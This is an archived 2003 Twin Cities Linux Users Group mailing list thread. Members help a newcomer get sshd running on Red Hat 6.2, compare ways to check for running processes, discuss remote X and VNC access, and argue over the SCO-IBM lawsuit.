Unfortunately, the only process grep in that output containing the search text was the 'grep' process itself, so 'sshd' is not running. If this is a Red Hat linux install, run this (as root): chkconfig --list sshd and you'll probably see either this: error reading information on service sshd: No such file or directory or this: sshd 0:off 1:off 2:off 3:off 4:off 5:off 6:off If you see the error message you'll have to find that CD. If you see the 'sshd ...' output, run these commands (as root): chkconfig --level 2345 sshd on service sshd start to configure 'sshd' to start at boot time, and then to start it up right now. Then try to connect with 'putty'. Good luck, Troy >>> smac@visi.com 08/20/03 10:24AM >>> No I don't have a fire wall running (thank you James Spinti) I did (as root) ps -ef grep | sshd (thank you Johnny Fulcrum) results root 27813 27782 0:09:04 tty1 00:00:00: grep sshd This is where I get lost because I don't know how to interpret the output of grep so... I did ps -ef | more This displayed all the processes, "sshd" is not on the list. So I do not have "sshd" running. Where did I put that CD... _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From troy.johnson at health.state.mn.us Wed Aug 20 14:15:25 2003 From: troy.johnson at health.state.mn.us (Troy.A Johnson) Date: Mon Jan 17 12:40:40 2005 Subject: [TCLUG] The Newbe Tries Another Linux Thing Message-ID: As root: ssh-keygen -t rsa1 -b 1024 -f /etc/ssh/ssh_host_key ssh-keygen -t rsa -b 1024 -f /etc/ssh/ssh_host_rsa_key ssh-keygen -t dsa -b 1024 -f /etc/ssh/ssh_host_dsa_key and I think it will work. At least the key part should. The host keys are regenerated every hour by default, if I remember correctly. Good luck, Troy >>> smac@visi.com 08/20/03 01:48PM >>> OK I finally found what I needed. Check out this site if you need to run SSHd on RH 6.2 http://cleveland.lug.net/~ken/FAQ/ssh-install.html The instructions are not perfect but I figured them out an got ssh/sshd installed. When I run sshd I got the following. *** [root@imlidris ssh]# sshd Could not load host key: /etc/ssh/ssh_host_key Could not load host key: /etc/ssh/ssh_host_rsa_key Could not load host key: /etc/ssh/ssh_host_dsa_key Disabling protocol version 1. Could not load host key Disabling protocol version 2. Could not load host key sshd: no hostkeys available -- exiting. [root@imlidris ssh]# *** Now I'm looking at the sshd_conf and ssh_conf I'm not sure what to put in to or change in these to get it to work _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From blots at visi.com Wed Aug 20 14:32:52 2003 From: blots at visi.com (Tom Penney) Date: Mon Jan 17 12:40:40 2005 Subject: [TCLUG] The Newbe Tries Another Linux Thing In-Reply-To: <3F43C28B.6090205@visi.com> References: <3F43B5F4.2090105@visi.com> <3F43B81E.5020503@visi.com> <3F43C28B.6090205@visi.com> Message-ID: <1061407972.1010.167.camel@lotsa> On Wed, 2003-08-20 at 13:48, Sam MacDonald wrote: > OK I finally found what I needed. > Check out this site if you need to run SSHd on RH 6.2 Just a question... If you are just starting out why are you running such an old distribution? Redhat 9.0 is current and its free and it installs ssh with keys in place and everything by default. I won't be at the beer meeting friday but I'm sure someone could get a copy to you there. If not I could burn one and send it to you. Wasn't 6.2 released last millennium? -- Tom Penney _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From smac at visi.com Wed Aug 20 15:06:28 2003 From: smac at visi.com (Sam MacDonald) Date: Mon Jan 17 12:40:40 2005 Subject: [TCLUG] The Newbe Tries Another Linux Thing In-Reply-To: References: Message-ID: <3F43D4C4.3090008@visi.com> I can login using ssh and putty now. LMAO! When I run "startx" X windows starts on the machine not in putty. However, I'm not logged on to the machine as root it does all that for me DOE! So anyone who walks up to the machine can now do anything they want to as "root". I'm totally sure I don't want my Son who is 9 running anything on my Linux box as "root". This is from the Putty User Manual. *** In order to use this feature, you will need an X display server for your Windows machine, such as X-Win32 or Exceed. This will probably install itself as display number 0 on your local machine; if it doesn't, the manual for the X server should tell you what it does do. *** So Putty does require an XTerm to be installed on the machine. If I have an Xterm installed why would I use Putty? It would be redundant and take resources. Lets go back to Cygwin and look at that. _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From sfertch at real-time.com Wed Aug 20 15:03:52 2003 From: sfertch at real-time.com (Shawn) Date: Mon Jan 17 12:40:40 2005 Subject: [TCLUG] The Newbe Tries Another Linux Thing References: <3F43D4C4.3090008@visi.com> Message-ID: <01a201c36756$2def6d20$f100cb0a@corpnet.lawson.com> ----- Original Message ----- From: "Sam MacDonald" > So Putty does require an XTerm to be installed on the machine. If I have > an Xterm installed why would I use Putty? It would be redundant and take > resources. > Becuase many X-Term software apps don't have ssh on them at this time. > Lets go back to Cygwin and look at that. > Good luck. _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From smac at visi.com Wed Aug 20 15:33:24 2003 From: smac at visi.com (Sam MacDonald) Date: Mon Jan 17 12:40:41 2005 Subject: [TCLUG] The Newbe Tries Another Linux Thing In-Reply-To: <1061407972.1010.167.camel@lotsa> References: <3F43B5F4.2090105@visi.com> <3F43B81E.5020503@visi.com> <3F43C28B.6090205@visi.com> <1061407972.1010.167.camel@lotsa> Message-ID: <3F43DB14.9060006@visi.com> Tom Penney wrote: >On Wed, 2003-08-20 at 13:48, Sam MacDonald wrote: > > >>OK I finally found what I needed. >>Check out this site if you need to run SSHd on RH 6.2 >> >> > >Just a question... If you are just starting out why are you running such >an old distribution? Redhat 9.0 is current and its free and it installs >ssh with keys in place and everything by default. I won't be at the beer >meeting friday but I'm sure someone could get a copy to you there. If >not I could burn one and send it to you. Wasn't 6.2 released last >millennium? > > > Yes it was released last millennium and it works with the hardware I have. I have RH 8.0 it does not work with the hardware I have. I tried endlessly to get the old ISA NIC to work with RH 8.0 even tried upgrading from RH 6.2 and it didn't work. With out the NIC the installation has no value. I also have a legal license for Coherent on 5.25 inch diskette, that should take someone back to the 80's and early 90's. I'm going to get flamed for this but that is life. SCO is about to nail IBM to the cross and I'm glad they are doing it (my opinion). When that happens, if you are running kernel versions above 2.2 you will need to pay SCO large sums of money. Kernel code above 2.2 has code that SCO owns the patent to. I use to work for IBM and let me tell you their motives on many fronts are less then ethical. They talk a good line but when it comes to making money don't stand in their way. Don't tell management what they are doing is wrong, because they don't give a dam about right and wrong internally. I have purchased licenses for all the software I own and I have a lot of hardware to put it on. 3 windows 95 machines 1 windows 98 machine 1 windows 2000 server 5 user 1 RedHat 6.2 machine So why do I run RedHat 6.2? It uses a Kernel that does not have SCO patented code in it. _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From jima at beer.tclug.org Wed Aug 20 15:30:32 2003 From: jima at beer.tclug.org (Jima) Date: Mon Jan 17 12:40:41 2005 Subject: [TCLUG] The Newbe Tries Another Linux Thing In-Reply-To: <1061407972.1010.167.camel@lotsa> Message-ID: On 20 Aug 2003, Tom Penney wrote: > Just a question... If you are just starting out why are you running such > an old distribution? Redhat 9.0 is current and its free and it installs > ssh with keys in place and everything by default. Oh, I can think of a few reasons. Compatibility with ancient legacy and/or binary-only software, support contract requirements, or just the ability to laugh off any lawsuit threats from SCO (6.2 shipped with a 2.2.14 kernel, and the latest update brings it up to 2.2.24). The last one seems like the most fun, although 7.0 used a 2.2 kernel, too. > I won't be at the beer meeting friday but I'm sure someone could get a > copy to you there. If not I could burn one and send it to you. I probably have a couple copies in my car. > Wasn't 6.2 released last millennium? As long as you consider 2001 to be the start of the current millennium, yes. It appears that RedHat 6.2 was released on March 27, 2000. Jima _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From jeffr at odeon.net Wed Aug 20 15:38:02 2003 From: jeffr at odeon.net (jeffr@odeon.net) Date: Mon Jan 17 12:40:41 2005 Subject: [TCLUG] The Newbe Tries Another Linux Thing In-Reply-To: <3F43D4C4.3090008@visi.com> Message-ID: Ok, I think there is a basic misunderstanding here. If all you want is a remote xterm (a terminal window to a linux box in this case), then putty is roughly equivelent. An xterm will give you a command line interface to a system. Putty will give you a command line interface to a remote system via SSH. If you want a remote X desktop that will let you run all sorts of X apps (netscape, open office, xeyes, whatever) in an X GUI environment, then you need an X server running on the machine you'll be sitting at. If this is a MS Windows based system, you'll need something like X-Win32, Exceed, Reflections for X, or XFree86 inside a Cygwin environment. If you are at all worried about data security on your network, you'll probably want to run your X session over SSH via Putty. If you aren't worried about data security on your network for whatever reason (you aren't going over the internet, you trust everyone on your network, or whatever), then you can take SSH out of the picture. Again, if your goal is to simply have a remote xterm window, then Putty over ssh is functionally equivelent and much more secure. If you want a full X environment on a remote box then you need to look at something like X-Win32, XFree86 with Cygwin, or something similar. One other way to accomplish this is with something called VNC. http://www.uk.research.att.com/vnc/ Again, if you've got any concerns about data security over your network, you'll still want to run VNC over SSH. Jeff On Wed, 20 Aug 2003, Sam MacDonald wrote: > I can login using ssh and putty now. > > LMAO! > When I run "startx" X windows starts on the machine not in putty. > However, I'm not logged on to the machine as root it does all that for > me DOE! > So anyone who walks up to the machine can now do anything they want to > as "root". I'm totally sure I don't want my Son who is 9 running > anything on my Linux box as "root". > > This is from the Putty User Manual. > *** > In order to use this feature, you will need an X display server for your > Windows machine, such as X-Win32 or Exceed. This will probably install > itself as display number 0 on your local machine; if it doesn't, the > manual for the X server should tell you what it does do. > *** > So Putty does require an XTerm to be installed on the machine. If I have > an Xterm installed why would I use Putty? It would be redundant and take > resources. > > Lets go back to Cygwin and look at that. > > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list > > > _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From smac at visi.com Wed Aug 20 15:44:21 2003 From: smac at visi.com (Sam MacDonald) Date: Mon Jan 17 12:40:41 2005 Subject: [TCLUG] [TCLUG-ANNOUNCE] Beer Meeting Friday! In-Reply-To: References: Message-ID: <3F43DDA5.2020500@visi.com> I just got off the phone with the Round Table Commissioner (Cub Scouts) we have a planning meeting at Old Chicago at 101 and 7 on Friday now we need to plan the whole year. I may have to move real fast to make them both, soda for me! Jima wrote: >--- snip --- >A TCLUG beer meeting is a bi-weekly get-together where TCLUG members can >get to know one another and share a beer. The beer meetings are open to >anyone and everyone, so don't be afraid to show up. > >When: >Friday, August 22, 2003 >6pm - 8pm > >Where: >Scoreboard >5765 Sanibel Drive >Minnetonka, MN > >Details: >By request. To quote the suggestion: "Reasonable prices, great appetizers. >Happy hour drinks in a good selection. Crowds tend to start at the bar and >fill-out the place from there. A pretty nice salad bar is stocked with a >couple of soups, rolls, roasted chicken, and all the greens to make a >rabbit happy." >Come share a beer, or pop with fellow geeks. As always, everyone is >welcome! Bring a friend, spouse, or co-worker. >--- snip --- > > I've never been to the place, so it's new to me. > > Jima > > >_______________________________________________ >Twin Cities Linux Users Group Announcements - Minneapolis/St. Paul, Minnesota >http://www.mn-linux.org >tclug-announce mailing list >tclug-announce@mn-linux.org >https://mailman.real-time.com/mailman/listinfo/tclug-announce > >_______________________________________________ >TCLUG Mailing List - Minneapolis/St. Paul, Minnesota >http://www.mn-linux.org tclug-list@mn-linux.org >https://mailman.real-time.com/mailman/listinfo/tclug-list > > > _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From nate at refried.org Wed Aug 20 15:38:53 2003 From: nate at refried.org (nate@refried.org) Date: Mon Jan 17 12:40:41 2005 Subject: [TCLUG] The Newbe Tries Another Linux Thing In-Reply-To: References: <3F42AE1E.60907@visi.com> <01c401c366bd$d6506170$0201a8c0@brinstar> <3F4316A3.4070803@visi.com> <200308200746.20784.jspinti@dartdist.com> <3F4392C3.8030002@visi.com> <3F43941D.30209@druswanderings.net> Message-ID: <20030820203853.GA19385@refried.org> On Wed, Aug 20, 2003 at 11:32:52AM -0500, Johnny Fulcrum wrote: > On Wed, 20 Aug 2003 10:30:37 -0500, The Wandering Dru > wrote: > > >Sam MacDonald wrote: > >>I did (as root) ps -ef grep | sshd (thank you Johnny Fulcrum) > >>results > > > >The pipe "|" goes _before_ the grep command. What this does is send the > >output of the ps command to grep to use as input. Aahhhh, the beauty of > >*nix. > > I should have said do a > > ps -ef |grep -v grep|grep sshd The only reason you would suggest an ugly hack like that is because you didn't check the man page for the proper switch to ps. It's right there on line 50. PROCESS SELECTION BY LIST -C select by command name So you can do `ps -C sshd` to see if you have any running. Nate _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From smac at visi.com Wed Aug 20 15:55:21 2003 From: smac at visi.com (Sam MacDonald) Date: Mon Jan 17 12:40:41 2005 Subject: [TCLUG] SSH on RedHat 6.2 Message-ID: <3F43E039.6020603@visi.com> Just in case anyone is interested I've put the instructions for Installing SSH on RedHat 6.2 on my website http://www.screechowl.org Look under the last Owl for the Linux link. _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From johnnyfulcrum at mn.rr.com Wed Aug 20 15:52:49 2003 From: johnnyfulcrum at mn.rr.com (Johnny Fulcrum) Date: Mon Jan 17 12:40:41 2005 Subject: [TCLUG] The Newbe Tries Another Linux Thing In-Reply-To: <20030820203853.GA19385@refried.org> References: <3F42AE1E.60907@visi.com> <01c401c366bd$d6506170$0201a8c0@brinstar> <3F4316A3.4070803@visi.com> <200308200746.20784.jspinti@dartdist.com> <3F4392C3.8030002@visi.com> <3F43941D.30209@druswanderings.net> <20030820203853.GA19385@refried.org> Message-ID: On Wed, 20 Aug 2003 15:38:53 -0500, wrote: > On Wed, Aug 20, 2003 at 11:32:52AM -0500, Johnny Fulcrum wrote: >> On Wed, 20 Aug 2003 10:30:37 -0500, The Wandering Dru >> wrote: >> >> >Sam MacDonald wrote: >> >>I did (as root) ps -ef grep | sshd (thank you Johnny Fulcrum) >> >>results >> > >> >The pipe "|" goes _before_ the grep command. What this does is send >> the >output of the ps command to grep to use as input. Aahhhh, the >> beauty of >*nix. >> >> I should have said do a >> >> ps -ef |grep -v grep|grep sshd > > The only reason you would suggest an ugly hack like that is because you > didn't check the man page for the proper switch to ps. It's right > there on line 50. Well no that's not the only reason. Coming from a Solaris background, that option is not supported - nor have I had a chance to read all the man pages just to see if my ugly frickin hacks have been solved by way of new switches in the linux er, shall I say GNU, equivs of UNIX commands. In the future I will try to keep my ugly UNIX hacks off this beauty of a Linux group. My apologies. Uglyhack Fulcrum..... > > PROCESS SELECTION BY LIST > -C select by command name > > So you can do `ps -C sshd` to see if you have any running. > > Nate > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list > _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From nate at refried.org Wed Aug 20 16:04:01 2003 From: nate at refried.org (nate@refried.org) Date: Mon Jan 17 12:40:41 2005 Subject: [TCLUG] The Newbe Tries Another Linux Thing In-Reply-To: References: <3F42AE1E.60907@visi.com> <01c401c366bd$d6506170$0201a8c0@brinstar> <3F4316A3.4070803@visi.com> <200308200746.20784.jspinti@dartdist.com> <3F4392C3.8030002@visi.com> <3F43941D.30209@druswanderings.net> <20030820203853.GA19385@refried.org> Message-ID: <20030820210401.GB19385@refried.org> On Wed, Aug 20, 2003 at 03:52:49PM -0500, Johnny Fulcrum wrote: > On Wed, 20 Aug 2003 15:38:53 -0500, wrote: > >On Wed, Aug 20, 2003 at 11:32:52AM -0500, Johnny Fulcrum wrote: > >>ps -ef |grep -v grep|grep sshd > > > >The only reason you would suggest an ugly hack like that is because you > >didn't check the man page for the proper switch to ps. It's right > >there on line 50. > > Well no that's not the only reason. Coming from a Solaris background, > that option is not supported - nor have I had a chance to read all the Ah, but what a chance to learn things. No, Solaris doesn't have the -C option. But it does have this nifty pgrep command. You could do something like this: nstraz@hot ~% pgrep in.rlogind | xargs ps -fp UID PID PPID C STIME TTY TIME CMD root 533 196 0 15:54:58 ? 0:00 in.rlogind Linux also has this command. This will make process management scripts much easier. :) Nate _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From jima at beer.tclug.org Wed Aug 20 16:06:38 2003 From: jima at beer.tclug.org (Jima) Date: Mon Jan 17 12:40:41 2005 Subject: [TCLUG] SSH on RedHat 6.2 In-Reply-To: <3F43E039.6020603@visi.com> Message-ID: On Wed, 20 Aug 2003, Sam MacDonald wrote: > Just in case anyone is interested I've put the instructions for > Installing SSH on RedHat 6.2 on my website > http://www.screechowl.org Look under the last Owl for the Linux link. Actually, `/sbin/service sshd start` *ought* to initialize the keys properly and start sshd (and is in fact the system's way of starting sshd at boot time, too). The RPM should have come with a SysV script (/etc/rc.d/init.d/sshd, probably), which the 'service' command executes. Or something. Jima _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From gsker at tcfreenet.org Wed Aug 20 16:14:33 2003 From: gsker at tcfreenet.org (Gerry) Date: Mon Jan 17 12:40:41 2005 Subject: [TCLUG] First Time with a tar.gz In-Reply-To: <20030819080741.1db03687.sfertch@real-time.com> References: <20030818153312.68984e9f.sfertch@real-time.com> <20030818154339.M94483-100000@tcfreenet.org> <20030818155738.72eefdf7.sfertch@real-time.com> <20030818192643.58900428.hackel@walkingfish.com> <20030819080741.1db03687.sfertch@real-time.com> Message-ID: On Tue, 19 Aug 2003, Shawn wrote: > On Mon, 18 Aug 2003 19:26:43 -0500 > Ryan Hayle wrote: > > On Mon, 18 Aug 2003 15:57:38 -0500 Shawn > > wrote: > > > Which is what I stated in my first post when I broke it down on how > > > to install from source. > > > > Actually, not to point fingers, but you didn't. You also referred to > > it as "compiling" from source. I see I misinterpreted the original > > post, though. > > Actually, not to nit-pick, but yes I did break it down on how to install. > Yes there was a mention of compiling, but the install script pretty much > does that. NO IT DOES NOT! I think it's disingenuous to confuse and worry newbies by referring to compiling when there is no compiling. The install script does NOT compile ANYTHING from source. There is NO SOURCE CODE IN THE OO...tar.gz file. It's a binary only install. > Get the source, install from source, feel the exposure to source, gain experience! =) NOT! There is no source code. > It's not hard to install from source at all. It's not source code. Is the horse dead yet? How's that for getting REALLY excited about trivial stuff? :-) -- Gerry Skerbitz gsker@tcfreenet.org _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From rpgoldman at real-time.com Wed Aug 20 16:19:17 2003 From: rpgoldman at real-time.com (rpgoldman@real-time.com) Date: Mon Jan 17 12:40:41 2005 Subject: [TCLUG] RIAA, SCO, IBM, Red Hat, and Norm Coleman? In-Reply-To: References: Message-ID: <16195.58837.953960.875395@gargle.gargle.HOWL> >>>>> "Andy" == Andy Zbikowski <(Zibby)" > writes: Andy> I heard on MPR the other day that Norm Coleman and Permanent Andy> Subcommittee on Investigations are looking into the RIAA's Andy> planned lawsuits aimed at users of file sharing software. Andy> http://www.senate.gov/~coleman/newsroom/pressapp/record.cfm?id=208780 Andy> So I'm wondering, has anyone written a letter to Senator Andy> Coleman and other elected representatives? I started a rough Andy> draft today but I'm probally the worst person to write such Andy> a thing. Andy> Perhaps the TCLUG can get a group effort to get an Andy> informative, easy to read form letter together that we can Andy> send to Senator Coleman, the State Attorney General, and Andy> other officials? I didn't know if this was too off-topic. But I sent Coleman a nice letter congratulating him on his stand wrt the RIAA. For a form letter, we could probably do worse than to consult the EFF, or at least their web site, www.eff.org Cheers, R _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From smac at visi.com Wed Aug 20 16:30:32 2003 From: smac at visi.com (Sam MacDonald) Date: Mon Jan 17 12:40:41 2005 Subject: [TCLUG] SSH on RedHat 6.2 In-Reply-To: References: Message-ID: <3F43E878.9010809@visi.com> It's running for now and I'll check to be sure it runs at boot. I don't "shutdown -r now" very much at all. Most of my machines just stay running day and night. They don't take much power but the displays take lots of power. So if I run Xterms and X windows emulators I save money on power because I don't have another display powered on. Jima wrote: >On Wed, 20 Aug 2003, Sam MacDonald wrote: > > >>Just in case anyone is interested I've put the instructions for >>Installing SSH on RedHat 6.2 on my website >>http://www.screechowl.org Look under the last Owl for the Linux link. >> >> > > Actually, `/sbin/service sshd start` *ought* to initialize the keys >properly and start sshd (and is in fact the system's way of starting sshd >at boot time, too). The RPM should have come with a SysV script >(/etc/rc.d/init.d/sshd, probably), which the 'service' command executes. > Or something. > > Jima > > >_______________________________________________ >TCLUG Mailing List - Minneapolis/St. Paul, Minnesota >http://www.mn-linux.org tclug-list@mn-linux.org >https://mailman.real-time.com/mailman/listinfo/tclug-list > > > _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From blots at visi.com Wed Aug 20 17:31:09 2003 From: blots at visi.com (Tom Penney) Date: Mon Jan 17 12:40:41 2005 Subject: [TCLUG] The Newbe Tries Another Linux Thing In-Reply-To: References: <3F42AE1E.60907@visi.com> <01c401c366bd$d6506170$0201a8c0@brinstar> <3F4316A3.4070803@visi.com> <200308200746.20784.jspinti@dartdist.com> <3F4392C3.8030002@visi.com> <3F43941D.30209@druswanderings.net> <20030820203853.GA19385@refried.org> Message-ID: <1061418669.1010.218.camel@lotsa> On Wed, 2003-08-20 at 15:52, Johnny Fulcrum wrote: > In the future I will try to keep my ugly UNIX hacks off this beauty of a > Linux group. > > My apologies. > > Uglyhack Fulcrum..... I kind of like your hack. What if you don't know the name of the command but know it contains ssh. ps -ef |grep -v grep|grep ssh - Works ps -C ssh - Does Not Can't we all just get along? -- Tom Penney _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From twurdock at wordesign.net Wed Aug 20 18:18:41 2003 From: twurdock at wordesign.net (Tom Wurdock) Date: Mon Jan 17 12:40:41 2005 Subject: [TCLUG] My linux has died Message-ID: I don't have any idea why, but when I boot, the process freezes at: Freeing unused kernel memory: 132k freed I am running RH 9. Any Ideas? TOm -------------- next part -------------- An HTML attachment was scrubbed... URL: http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20030820/c7c087cc/attachment.htm From blots at visi.com Wed Aug 20 18:51:21 2003 From: blots at visi.com (Tom Penney) Date: Mon Jan 17 12:40:42 2005 Subject: [TCLUG] The Newbe Tries Another Linux Thing In-Reply-To: <3F43DB14.9060006@visi.com> References: <3F43B5F4.2090105@visi.com> <3F43B81E.5020503@visi.com> <3F43C28B.6090205@visi.com> <1061407972.1010.167.camel@lotsa> <3F43DB14.9060006@visi.com> Message-ID: <1061423480.1010.372.camel@lotsa> On Wed, 2003-08-20 at 15:33, Sam MacDonald wrote: > Tom Penney wrote: > > >Just a question... If you are just starting out why are you running such > >an old distribution? > Yes it was released last millennium and it works with the hardware I > have. I have RH 8.0 it does not work with the hardware I have. 'nuf said. > > I'm going to get flamed for this but that is life. > SCO is about to nail IBM to the cross and I'm glad they are doing it (my > opinion). When that happens, if you are running kernel versions above > 2.2 you will need to pay SCO large sums of money. Kernel code above 2.2 > has code that SCO owns the patent to. > I use to work for IBM and let me tell you their motives on many fronts > are less then ethical. They talk a good line but when it comes to making > money don't stand in their way. Don't tell management what they are > doing is wrong, because they don't give a dam about right and wrong > internally. > So why do I run RedHat 6.2? It uses a Kernel that does not have SCO > patented code in it. No flames, there's enough yelling going on around here lately. I have to respectfully disagree with your opinion on this. The "extortion based on fraud" tactics that SCO is practicing is an assault on linux period, not just IBM. IANAL but I can not see how 80 lines of code (out of how many in the kernel source) can give them sole licensing rights to the linux kernel. If they don't want their code used then they need to tell us what they think belongs to them, and we wont use it. IBM has deep pockets and has made some enemy's (as it has with you apparently) but if SCO wins this we are all screwed. How many millions of hours of development has gone into the linux kernel? If they win without fessing up about what they own then all those hours put in by thousands of people and companies gets tossed into the garbage. No one is going to pay SCO for rights to use a kernel they didn't write. At least not enough people to have a user base big enough to continue supporting it. We are all paying the price for what SCO is doing. Companies and individuals, like you, who are falling victim to SCO's threats by backing off from using the best linux has to offer is hurting us all. Less dollars are being spent on linux development, those on the fence have another reason not to make the switch linux, first time users are evaluating 3 year old versions of linux, etc. This makes our skills with linux less valuable. This makes companies choose options which may not be the best for them. I'd even go as far to say this pushes more tech jobs off shore to small foreign shops where they are less likely to care about US law and less likely to be burdened with paying extortion fees to some US bully. I personally don't believe that SCO has a chance in hell of bringing down linux entirely but damage has already been done and will continue to be done as long as SCO can drag this out. I believe this has been SCO's intent from the start. /end of rant PS Have you ever used SCO Products? they are cobbled together crap purchased from other companies (like the code in question). SCO Xenix, written by Microsoft I might add, was cool in it's day but SCO drove it into the dirt just as they do with all of their second hand code. /ok, now I'm done. I'm glad to see you have your system working for you. -- Tom Penney _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From waynej at dccmn.com Wed Aug 20 19:11:28 2003 From: waynej at dccmn.com (Wayne Johnson) Date: Mon Jan 17 12:40:42 2005 Subject: [TCLUG] The Newbe Tries Another Linux Thing In-Reply-To: <01c401c366bd$d6506170$0201a8c0@brinstar> References: <3F42AE1E.60907@visi.com> <01ad01c366b7$3b2d2ad0$0201a8c0@brinstar> <20030820011228.GU16729@autonomous.tv> <01c401c366bd$d6506170$0201a8c0@brinstar> Message-ID: <1255.192.1.1.23.1061424688.squirrel@dccmn.com> Another option would be to run putty and piggyback VNC on it. I get to my home laptop from work that way all the time. VNC uses X11, and you don't need to install the X server on your remote machine. David Phillips said: > Spencer Butler writes: >> Will putty forward X when there is no X locally? My understanding is >> that it will not. I believe you need to have the cygwin X installed >> locally to forward X applications using your preferred terminal. > > You would have to have an X server running locally to display > applications. PuTTY supports this. Applications are run on the remote > machine and display on the local X server. > > My suggestion was to skip X entirely and use PuTTY instead of an > inferior xterm. > > -- > David Phillips > http://david.acz.org/ > > > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From william.layer at comcast.net Wed Aug 20 20:16:09 2003 From: william.layer at comcast.net (Bill Layer) Date: Mon Jan 17 12:40:42 2005 Subject: [TCLUG] My linux has died In-Reply-To: References: Message-ID: <20030820201609.3a655627.william.layer@comcast.net> On Wed, 20 Aug 2003 18:18:41 -0500 "Tom Wurdock" wrote: > I don't have any idea why, but when I boot, the process freezes at: > > Freeing unused kernel memory: 132k freed If this 'just started happening', you need to get memtest86 from www.memtest86.com and let it run.. The kernel uses lower memory regions, so if you have bad RAM down there, memtest86 will find it quickly. On the other hand, when I last used memtest86, it was not able to scan the portion of the low RAM area in which it ran. This may have been figured out in the lastest version. Find out if or how it affects *you*. Bill _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From sfertch at real-time.com Wed Aug 20 20:49:45 2003 From: sfertch at real-time.com (Shawn) Date: Mon Jan 17 12:40:42 2005 Subject: [TCLUG] The Newbe Tries Another Linux Thing In-Reply-To: <1061418669.1010.218.camel@lotsa> References: <3F42AE1E.60907@visi.com> <01c401c366bd$d6506170$0201a8c0@brinstar> <3F4316A3.4070803@visi.com> <200308200746.20784.jspinti@dartdist.com> <3F4392C3.8030002@visi.com> <3F43941D.30209@druswanderings.net> <20030820203853.GA19385@refried.org> <1061418669.1010.218.camel@lotsa> Message-ID: <20030820204945.2d860a67.sfertch@real-time.com> On 20 Aug 2003 17:31:09 -0500 Tom Penney wrote: > > I kind of like your hack. What if you don't know the name of the > command but know it contains ssh. > ps -ef |grep -v grep|grep ssh - Works > ps -C ssh - Does Not > why not just the old Unix favorite (well, at least mine): ps -ef|grep ssh Why bother with the grep -v and such when all you're doing is checking for a running process visually? If you're using a script and don't want to see the pid of the grep then it's fine, IMO. Less typing at times is better. -- Shawn The difficult we do today; the impossible take a little longer. Ne Obliviscaris -- "Forget Not" _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org 